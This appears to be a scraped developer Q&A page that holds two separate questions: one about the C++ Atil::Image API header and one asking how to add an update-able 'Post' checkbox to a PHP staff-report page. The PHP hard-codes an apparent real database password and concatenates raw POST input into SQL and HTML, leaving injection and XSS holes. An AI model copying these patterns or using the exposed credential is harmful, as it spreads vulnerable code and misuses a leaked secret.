will be thrown /// if the image can not be constructed. <see cref="ImageConstructionException"/>. /// </exception> /// /// <remarks> /// This method will "consume" the <c>RowProviderInterface</c> and free the resources /// that it holds. The <c>RowProviderInterface</c> is no longer valid after using /// it in this method. /// </remarks> /// Image (RowProviderInterface* pPipe, DataModel::TileSize sz = DataModel::kUnspecified); /// <summary> /// A <c>RowProviderInterface</c> based constructor for Image with the option. /// to reorient the input. /// </summary> /// /// <param name='pPipe'>A source of image data. /// </param> /// /// <param name='orient'>The orientation to apply to the image when storing /// the data in the image. /// </param> /// /// <param name='sz'>The tile size to be used for the image. /// </param> /// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the image can not be constructed. <see cref="ImageConstructionException"/>. /// </exception> /// Image (RowProviderInterface* pPipe, Atil::Orientation orient, DataModel::TileSize sz = DataModel::kUnspecified); /// <summary> /// The <c>FileReadDescriptor</c> based constructor for Image. This is the constructor /// to use when you want to load an image from a file. /// </summary> /// /// <param name='readDesc'>The <c>FileReadDescriptor</c> source of image data. /// </param> /// /// <param name='sz'>The tile size to be used for the image. /// </param> /// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the image can not be constructed. <see cref="ImageConstructionException"/>. /// </exception> /// /// <remarks> /// The image will be constructed from the current frame set in the FileReadDescriptor. /// </remarks> /// Image (FileReadDescriptor& readDesc, DataModel::TileSize sz = DataModel::kUnspecified); /// <summary> /// The destructor will release all image resources with the exception of /// user allocated buffers. /// </summary> /// ~Image (); /// <summary> /// The assignment operator will destroy the existing image data and make a reference /// to the assigned image data. /// </summary> /// /// <param name= 'image'> /// A const reference to the image to be assigned to <c>*this</c>. /// </param> /// /// <returns> /// This returns a reference to <c>*this</c>. /// </returns> /// const Image& operator= (const Image& image); /// <summary> /// The assignment operator will destroy the existing image data and construct a new /// image from the result of the <c>RowProviderInterface</c>. /// </summary> /// /// <param name="pPipe">An instance of a <c>RowProviderInterface</c> that will supply /// the pixel data to be drawn. The <c>RowProviderInterface</c> is consumed and freed. /// </param> /// /// <returns> /// This returns a reference to <c>*this</c>. /// </returns> /// /// <remarks> /// This method will "consume" the <c>RowProviderInterface</c> and free the resources /// that it holds. The <c>RowProviderInterface</c> is no longer valid after using /// it in this method. /// </remarks> /// const Image& operator= (RowProviderInterface* pPipe); /// <summary> /// The equals operator. /// </summary> /// /// <param name= 'image'> /// A const reference to the image to be compared. /// </param> /// /// <returns> /// This will return true of both objects refer to the same data. /// </returns> /// /// <remarks> /// While this method is provided it is not considered a reliable method for /// testing equality. /// </remarks> /// bool operator== (const Image& image) const; /// <summary> /// The not equals operator. /// </summary> /// /// <param name= 'image'> /// A const reference to the image to be compared. /// </param> /// /// <returns> /// This will return true of both objects do not refer to the same data. /// </returns> /// /// <remarks> /// While this method is provided it is not considered a reliable method for /// testing equality. /// </remarks> /// bool operator!= (const Image& image) const; /// <summary> /// This returns the size of the image in pixels. /// </summary> /// /// <returns> /// This returns a const reference to a <c>Size</c> object. /// </returns> /// const Size& size () const; /// <summary> /// This returns the size of a tile of the image in pixels. /// </summary> /// /// <returns> /// This returns a <c>Size</c> object. /// </returns> /// Size tileSize () const; /// <summary> /// This method returns a const reference to the images dataModel. It is useful /// for testing the qualities of an image. All images have a dataModel. /// </summary> /// /// <returns> /// This returns a const reference to the <c>DataModel</c> for the image. /// </returns> /// const DataModel& dataModel () const; /// <summary> /// This method will return the <c>FileReadDescriptor</c> used to create the image /// if the image was created with a <c>FileReadDescriptor</c>. The return will be /// NULL otherwise. /// </summary> /// /// <returns> /// This returns a const pointer to the <c>FileReadDescriptor</c> if one was used /// to construct the image and NULL if not. /// </returns> /// const FileReadDescriptor* fileReadDescriptor () const; /// <summary> /// This method will return the number of tiles in the image. There is always /// at least one tile in a valid image. /// </summary> /// /// <param name="nRows">A integer reference which will be set to the number of /// tiles used to hold a row of the image. /// </param> /// /// <param name="nColumns">A integer reference which will be set to the number of /// tiles used to hold a column of the image. /// </param> /// /// <returns> /// This returns the number of tiles in the image. /// </returns> /// int numTiles (int& nRows, int& nColumns) const; /// <summary> /// This method returns the clear color of the image. /// </summary> /// /// <returns> /// This returns a const reference to th <c>ImagePixel</c> that holds the clear color. /// </returns> /// const ImagePixel& clearColor () const; /// <summary> /// A new data model may be set onto an image through this method. The datamodel being /// set must be compatible with the number of bands and band width of the image data. /// </summary> /// /// <param name='dataModel'>A constant reference to a <c>DataModel</c> instance that /// will be used as the representation of the data. /// </param> /// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the data type of the image is incompatible with the data model instance being set /// <see cref="ImageConstructionException"/>. /// </exception> /// void setDataModel ( const DataModel& dataModel ); /// <summary> /// This method will set the Image's clear color. /// </summary> /// /// <param name="value">An <c>ImagePixel</c> that holds the color to be /// used as the clear color. /// </param> /// /// <exception cref="ImageException">An exception will be thrown if the pixel type of the /// parameter is incompatible with the data model image <see cref="ImageException"/>. /// </exception> /// /// <remarks> /// The clear color is the color that will be return for any pixel which is not /// set with a value by the constructed image. /// </remarks> /// void setClearColor ( ImagePixel value ); /// <summary> /// Use this method to draw pixels from the <c>RowProviderInterface</c> into the image /// at the specified location. /// </summary> /// /// <param name="pPipe">An instance of a <c>RowProviderInterface</c> that will supply /// the pixel data to be drawn. The <c>RowProviderInterface</c> is consumed and freed. /// </param> /// /// <param name="at">The offset, in pixels, to the upper left corner at which the /// first pixel of the first row from the <c>RowProviderInterface</c> will be drawn. /// </param> /// /// <param name="bRespectTransparency">A defaulted(false) boolean that if true will /// cause pixels that have an alpha of 0 not to be drawn. /// </param> /// /// <remarks> /// This method will "consume" the <c>RowProviderInterface</c> and free the resources /// that it holds. The <c>RowProviderInterface</c> is no longer valid after using /// it in this method. /// </remarks> /// void paste (RowProviderInterface* pPipe, const Offset& at, bool bRespectTransparency = false); /// <summary> /// Use this method to draw pixels into an image from the passed in <c>RowProviderInterface</c> /// drawing the data with the specified alpha value. /// </summary> /// /// <param name="pPipe">An instance of a <c>RowProviderInterface</c> that will supply /// the pixel data to be drawn. The <c>RowProviderInterface</c> is consumed and freed. /// </param> /// /// <param name="at">The offset, in pixels, to the upper left corner at which the /// first pixel of the first row from the <c>RowProviderInterface</c> will be drawn. /// </param> /// /// <param name="nAlphaValue">The input alpha range should vary between 1 and 254. /// </param> /// /// <param name="bRespectTransparency">A defaulted(false) boolean that if true will /// cause pixels that have an alpha of 0 not to be drawn. /// </param> /// /// <exception cref="ImageException">An exception will be thrown if the image does /// not have a RGB data model <see cref="ImageException"/>. /// </exception> /// /// <remarks> /// This works like the <c>paste()</c> method except that it alpha blends the /// input rows into the image. /// Like <c>paste()</c> it will "consume" the <c>RowProviderInterface</c> and /// free the resources that it holds. The <c>RowProviderInterface</c> is no longer /// valid after using it in this method. /// </remarks> /// void blend (RowProviderInterface* pPipe, const Offset& at, int nAlphaValue , bool bRespectTransparency = false); /// <summary> /// This will read a sub-rectangle of data from the image returning it in a /// <c>RowProviderInterface</c> instance. /// </summary> /// /// <param name="size">The size of the sub-region of the image to be read which may /// be up to the full size of the image. /// </param> /// /// <param name="offset">The pixel offset from the upper left corner of the image /// to begin reading the requested <c>size</c> region. /// </param> /// /// <returns> /// An instance of a <c>RowProviderInterface</c> that will supply the data within /// the requested region. /// </returns> /// /// <remarks> /// The requested sub-region must be within the bounds of the image. /// </remarks> /// RowProviderInterface* read (const Size& size, const Offset& offset) const; // Orientation is an enum containing the 8 different read orientations. /// <summary> /// This will read a sub-rectangle of data from the image returning it in a /// <c>RowProviderInterface</c> instance. The data from the image will be /// re-oriented from TopDownLeftRight (normal progression) to the orientation /// passed in. /// </summary> /// /// <param name="size">The size of the sub-region of the image to be read which may /// be up to the full size of the image. /// </param> /// /// <param name="offset">The pixel offset from the upper left corner of the image /// to begin reading the requested <c>size</c> region. /// </param> /// /// <param name="orient">The orientation to be applied to the data before it is /// returned. /// </param> /// /// <returns> /// An instance of a <c>RowProviderInterface</c> that will supply the data within /// the requested region. /// </returns> /// /// <remarks> /// The requested sub-region must be within the bounds of the image. /// </remarks> /// RowProviderInterface* read (const Size& size, const Offset& offset, Atil::Orientation orient) const; /// <summary> /// This method constructs an <c>ImageContext</c> <see cref="ImageContext"/> that /// maybe used to access the pixels of an image directly. /// </summary> /// /// <param name="accessNeeded">An <c>ImageContext</c> can be opened for either /// kRead or kWrite access. ImageContexts opened with kWrite do not cache (internally) /// as aggressively as those opened with kRead. /// </param> /// /// <param name="numTilesToCache">The number of tiles to cache internal to the /// <c>ImageContext</c>. The default of 4 should be sufficient for most usages. /// </param> /// /// <returns> /// This will return either a pointer to a valid <c>ImageContext</c><see cref="ImageContext"/> /// or NULL if the method fails. The returned object must be freed when the caller /// is finished with it. /// </returns> /// /// <remarks> /// An <c>ImageContext</c> holds tiles while it exists. They should be delete'd when /// not in use to free the resources that it holds. /// </remarks> /// ImageContext* createContext (ImageContext::Access accessNeeded, int numTilesToCache = 4 ); /// <summary> /// This method constructs an <c>ImageContext</c> <see cref="ImageContext"/> that /// maybe used to access the pixels of an image directly. /// </summary> /// /// <param name="accessNeeded">An <c>ImageContext</c> can be opened for either /// kRead or kWrite access. ImageContexts opened with kWrite do not cache (internally) /// as aggressively as those opened with kRead. /// </param> /// /// <param name="size">The size of the sub-region of the image to be accessed by the /// context. /// </param> /// /// <param name="offset">The pixel offset from the upper left corner of the image /// of the requested <c>size</c> region. /// </param> /// /// <param name="numTilesToCache">The number of tiles to cache internal to the /// <c>ImageContext</c>. The default of 4 should be sufficient for most usages. /// </param> /// /// <returns> /// This will return either a pointer to a valid <c>ImageContext</c><see cref="ImageContext"/> /// or NULL if the method fails. The returned object must be freed when the caller /// is finished with it. /// </returns> /// /// <remarks> /// An <c>ImageContext</c> holds tiles while it exists. They should be delete'd when /// not in use to free the resources that it holds. /// </remarks> /// ImageContext* createContext (ImageContext::Access accessNeeded, const Size& size, const Offset& offset, int numTilesToCache = 4 ); /// <summary> /// Adds a reactor that will call the owner whenever a tile is saved. /// When a tile is saved, it is assumed to have been edited (written to). /// </summary> /// /// <param name="pReactor">An instance of a reactor to be added to the image. /// </param> /// /// <remarks> /// The <c>ImageReactorInterface</c><see cref="ImageReactorInterface"/> /// can be derived from to track changes in the image. /// </remarks> /// void addReactor ( ImageReactorInterface* pReactor ); /// <summary> /// Removes the reactor that had previously been added to the image. /// </summary> /// /// <param name="pReactor">The instance of a reactor to be removed from the image. /// </param> /// void removeReactor ( ImageReactorInterface* pReactor ); /// <summary> /// This method disables per tile locking. ATIL implements per tile locking for /// read and write. This option is provided as an optimization for instances in /// which a developer can guarantee single-threaded usage. Use it carefully. /// </summary> /// /// <param name= 'bDisable'> /// The boolean will disable per tile locking if set to true. /// </param> /// /// <returns> /// This will return true if per tile locking is disabled. /// </returns> /// bool disablePerTileLocking ( bool bDisable ); /// <summary> /// This method will cause all pixels of the image to be set to the image's /// internal clear color. /// </summary> /// void clear (); /// <summary> /// This method will return true if there is valid data within the image. /// </summary> /// /// <returns> /// This will return true if the image is valid. /// </returns> /// bool isValid () const; /// <summary> /// This method will be set to true if data has been set into the image /// after construction. There is no way to reset it. /// </summary> /// /// <returns> /// This will return true if the image has been written to. /// </returns> /// bool isModified () const; /// <summary> /// This method will return true if the "user buffer" method of construction /// was used to create the image. /// </summary> /// /// <returns> /// This will return true if a "user buffer" was use to construct the image. /// </returns> /// bool usesUserBuffer () const; /// <summary> /// This method will return a pointer to the "user buffer" used to construct /// the image. /// </summary> /// /// <returns> /// This will return the "user buffer" pointer used to construct the image. /// </returns> void* getUserBuffer (); private: ImageRep* mImplementation; }; Atil::Image没有这个getPixel函数啊,你看看Atil::Image定义image->getPixel(x, y);应该怎么修改
10-28
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>HKLStaffAppreciationWeek_Report Summary</title> <link rel="shortcut icon" href="Sources/logo.jpg"> <meta property="og:image" content="https://digimktgsolution.com/HKLStaffAppreciationWeek/Sources/logo.jpg"> <meta property="og:image:type" content="image/jpg"> <meta property="og:image:width" content="510"> <meta property="og:image:height" content="510"> <meta property="og:title" content="HKLStaffAppreciationWeek_Report Summary" /> <meta property="og:description" content="HKLStaffAppreciationWeek_Report Summary" /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script> <link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.13.2/themes/smoothness/jquery-ui.css"> <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.13.2/jquery-ui.min.js"></script> <script> $(function () { $("#txtFrom").datepicker({ dateFormat: 'dd-mm-yy' }); $("#txtTo").datepicker({ dateFormat: 'dd-mm-yy' }); }); </script> <style> ::-webkit-scrollbar { width: 10px; } /* Track */ ::-webkit-scrollbar-track { background: #f1f1f1; } /* Handle */ ::-webkit-scrollbar-thumb { background: #888; } /* Handle on hover */ ::-webkit-scrollbar-thumb:hover { background: #555; } body { font-size: 20px; } .table-heading { text-align: center; } .wrap { overflow: hidden; border-radius: 10px 10px 0px 0px; box-shadow: 0 0 20px rgba(0, 0, 0, 0.35); } table { font-family: 'Oswald', sans-serif; border-collapse: collapse; } th { background-color: #009879; color: #ffffff; width: 10%; height: 75px; border: 1px solid; padding: 0px 10px; } td { background-color: #ffffff; width: 93vw; height: 50px; text-align: center; vertical-align: middle; position: relative; } tr { border-bottom: 1px solid #dddddd; } tr:last-of-type { border-bottom: 2px solid #009879; } tr:nth-of-type(even) td { background-color: #f3f3f3; } .toggle-btn { cursor: pointer; background: none; border: none; font-size: 16px; padding: 5px; display: inline-block; } .message-content { display: none; max-height: 200px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; text-align: left; background-color: #fff; box-shadow: 0 2px 4px rgba(0,0,0,0.1); border-radius: 4px; position: absolute; z-index: 100; width: 300px; top: 100%; left: 50%; transform: translateX(-50%); margin-top: 5px; } .active-message { display: block; } .stats-container { margin: 10px 0; padding: 10px; background-color: #f9f9f9; border: 1px solid #ddd; border-radius: 5px; } </style> </head> <body> <form method="post" autocomplete='off' id="mainForm"> <input type="hidden" name="Search" value="1"> <!-- 添加搜索标识 --> <?php $servername = "localhost"; $username = "digimktgsolution_admin"; $password = "=ADP=OW?O3vl"; $database = "digimktgsolution_base"; // Create connection header("Content-Type:text/html; charset=utf-8"); $conn = new mysqli($servername, $username, $password, $database); $conn->set_charset("utf8"); if (isset($_POST['Search'])) { $selecttxt = $_POST['Fromdate']; $selectto = $_POST['Todate']; } $cou = 0; ?> <?php echo '<div class="table-container">'; echo '<h2 class = "table-heading">HKLStaffAppreciationWeek_Report Summary</h2>'; echo '<div id="tableCon" style="overflow-x:auto;width:100%;">'; echo "<table border='1' style='width:100%'> <thead> <tr> <td> Select Date(From): </td> <td> <input type='text' id='txtFrom' name='Fromdate' value='".(isset($_POST['Fromdate']) ? $_POST['Fromdate'] : '')."' /></td> <td> Select Date(To): </td> <td> <input type='text' id='txtTo' name='Todate' value='".(isset($_POST['Todate']) ? $_POST['Todate'] : '')."' /></td> "; ?> <td style='width:20%'><input type="submit" name="SearchBtn" value="Search" /></td> <!-- 修正为submit类型 --> </tr> <?php echo " <th>Log</th> <th>From (Sender)</th> <th>Sender's Dept</th> <th>Sender's Email</th> <th>To (Recipient)</th> <th>Recipient's Dept</th> <th>Recipient's Email</th> <th>Template</th> <th>Message</th> <th>Print</th> <th>Date</th> <th>Time</th> </tr> </thead> "; echo "<tbody>"; // 初始化统计变量 $printCount = 0; $totalRecords = 0; $dateRange = ""; // 修复:检测搜索按钮提交 if (isset($_POST['SearchBtn']) || isset($_POST['Search'])) { $selecttxt = isset($_POST['Fromdate']) ? $_POST['Fromdate'] : ''; $selectto = isset($_POST['Todate']) ? $_POST['Todate'] : ''; $dateRange = " of $selecttxt TO $selectto"; if ($selectto == "") { $selectto = $selecttxt; } // 转换日期格式为数据库格式 (dd-mm-yyyy => yyyy-mm-dd) $dbFrom = $selecttxt; $dbTo = $selectto; if (!empty($dbFrom) && !empty($dbTo)) { $query = mysqli_query($conn, "SELECT * FROM HKLStaffAppreciationWeek_Record WHERE Date >='$dbFrom' AND Date <='$dbTo' ORDER BY ID DESC"); } else { $query = mysqli_query($conn, "SELECT * FROM HKLStaffAppreciationWeek_Record ORDER BY ID DESC"); } $count = mysqli_num_rows($query); $totalRecords = $count; if ($count == "0") { echo "<h2>No Records Found...</h2>"; } else { // 先显示总记录数 echo "<div class='stats-container'>"; // 循环遍历记录并统计打印次数 while ($row = mysqli_fetch_array($query)) { if ($row["Time"] != "") { $cou++; // 统计打印次数 if ($row['print'] == "1") { $printCount++; } } } echo "<h2>Total Record$dateRange : $cou</h2>"; // 显示打印次数统计 echo "<h2>Total Print Times: $printCount</h2>"; echo "</div>"; // 关闭stats-container // 重置查询指针 mysqli_data_seek($query, 0); // 再次循环输出表格行 while ($row = mysqli_fetch_array($query)) { if ($row["Time"] != "") { $Id = $row['ID']; echo '<tr>'; echo '<td>' . $Id . '</td>'; if ($row['SenderName'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['SenderName'] . '</td>'; } if ($row['SenderDepartment'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['SenderDepartment'] . '</td>'; } if ($row['SenderEmail'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['SenderEmail'] . '</td>'; } if ($row['RecipientName'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['RecipientName'] . '</td>'; } if ($row['RecipientDepartment'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['RecipientDepartment'] . '</td>'; } if ($row['Email'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['Email'] . '</td>'; } $template = $row['selected']; if ($template == "0") { echo '<td>A</td>'; } else if ($template == "1") { echo '<td>B</td>'; } else if ($template == "2") { echo '<td>C</td>'; } else if ($template == "3") { echo '<td>D</td>'; } else if ($template == "4") { echo '<td>E</td>'; } // 消息单元格 echo '<td>'; echo '<button type="button" class="toggle-btn" data-id="'.$Id.'">▼</button>'; $escapedMessage = htmlspecialchars($row['Message'], ENT_QUOTES, 'UTF-8'); echo '<div id="msg-'.$Id.'" class="message-content">' . $escapedMessage . '</div>'; echo '</td>'; $print = $row['print']; if ($print == "0") { echo '<td>N</td>'; } else { echo '<td>Y</td>'; } echo '<td>' . $row['Date'] . '</td>'; echo '<td>' . $row['Time'] . '</td>'; echo '</tr>'; } } } } else { // 初始页面加载时显示所有记录 $query = mysqli_query($conn, "SELECT * FROM HKLStaffAppreciationWeek_Record ORDER BY ID DESC"); $dateRange = ""; $count = mysqli_num_rows($query); $totalRecords = $count; if ($count == "0") { echo "<h2>No Records Found...</h2>"; } else { // 先显示总记录数 echo "<div class='stats-container'>"; // 循环遍历记录并统计打印次数 while ($row = mysqli_fetch_array($query)) { if ($row["Time"] != "") { $cou++; // 统计打印次数 if ($row['print'] == "1") { $printCount++; } } } echo "<h2>Total Record : $cou</h2>"; // 显示打印次数统计 echo "<h2>Total Print Times: $printCount</h2>"; echo "</div>"; // 关闭stats-container // 重置查询指针 mysqli_data_seek($query, 0); // 再次循环输出表格行 while ($row = mysqli_fetch_array($query)) { if ($row["Time"] != "") { $Id = $row['ID']; echo '<tr>'; echo '<td>' . $Id . '</td>'; if ($row['SenderName'] == "") { echo '<td>' . $row['FromText'] . '</td>'; } else { echo '<td>' . $row['SenderName'] . '</td>'; } if ($row['SenderDepartment'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['SenderDepartment'] . '</td>'; } if ($row['SenderEmail'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['SenderEmail'] . '</td>'; } if ($row['RecipientName'] == "") { echo '<td>' . $row['ToText'] . '</td>'; } else { echo '<td>' . $row['RecipientName'] . '</td>'; } if ($row['RecipientDepartment'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['RecipientDepartment'] . '</td>'; } if ($row['Email'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['Email'] . '</td>'; } $template = $row['selected']; if ($template == "0") { echo '<td>A</td>'; } else if ($template == "1") { echo '<td>B</td>'; } else if ($template == "2") { echo '<td>C</td>'; } else if ($template == "3") { echo '<td>D</td>'; } else if ($template == "4") { echo '<td>E</td>'; } // 消息单元格 echo '<td>'; echo '<button type="button" class="toggle-btn" data-id="'.$Id.'">▼</button>'; $escapedMessage = htmlspecialchars($row['Message'], ENT_QUOTES, 'UTF-8'); echo '<div id="msg-'.$Id.'" class="message-content">' . $escapedMessage . '</div>'; echo '</td>'; $print = $row['print']; if ($print == "0") { echo '<td>N</td>'; } else { echo '<td>Y</td>'; } echo '<td>' . $row['Date'] . '</td>'; echo '<td>' . $row['Time'] . '</td>'; echo '</tr>'; } } } } echo '</tbody></div>'; $conn->close(); ?> </form> <script> document.addEventListener('DOMContentLoaded', function() { const toggleButtons = document.querySelectorAll('.toggle-btn'); toggleButtons.forEach(button => { button.addEventListener('click', function(e) { e.preventDefault(); const id = this.getAttribute('data-id'); const msgDiv = document.getElementById('msg-'+id); if (msgDiv.classList.contains('active-message')) { msgDiv.classList.remove('active-message'); this.innerHTML = '▼'; } else { document.querySelectorAll('.message-content').forEach(div => { div.classList.remove('active-message'); }); document.querySelectorAll('.toggle-btn').forEach(btn => { btn.innerHTML = '▼'; }); msgDiv.classList.add('active-message'); this.innerHTML = '▲'; } }); }); document.addEventListener('click', function(event) { if (!event.target.closest('.toggle-btn') && !event.target.closest('.message-content')) { document.querySelectorAll('.message-content').forEach(div => { div.classList.remove('active-message'); }); document.querySelectorAll('.toggle-btn').forEach(btn => { btn.innerHTML = '▼'; }); } }); document.getElementById('searchBtn').addEventListener('click', function() { document.getElementById('mainForm').submit(); }); }); </script> </body> </html> 使用以上代碼,在<th>Time</th>之後加一個column“Post”,在每行數據 echo '<td>' . $row['Time'] . '</td>';后加一個checkbox tr,根據數據得到$row['post'] = 0就unchecked,1就checked,當user check或uncheck該checkbox,該行數據要update post to 0 or 1
最新发布
12-04
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值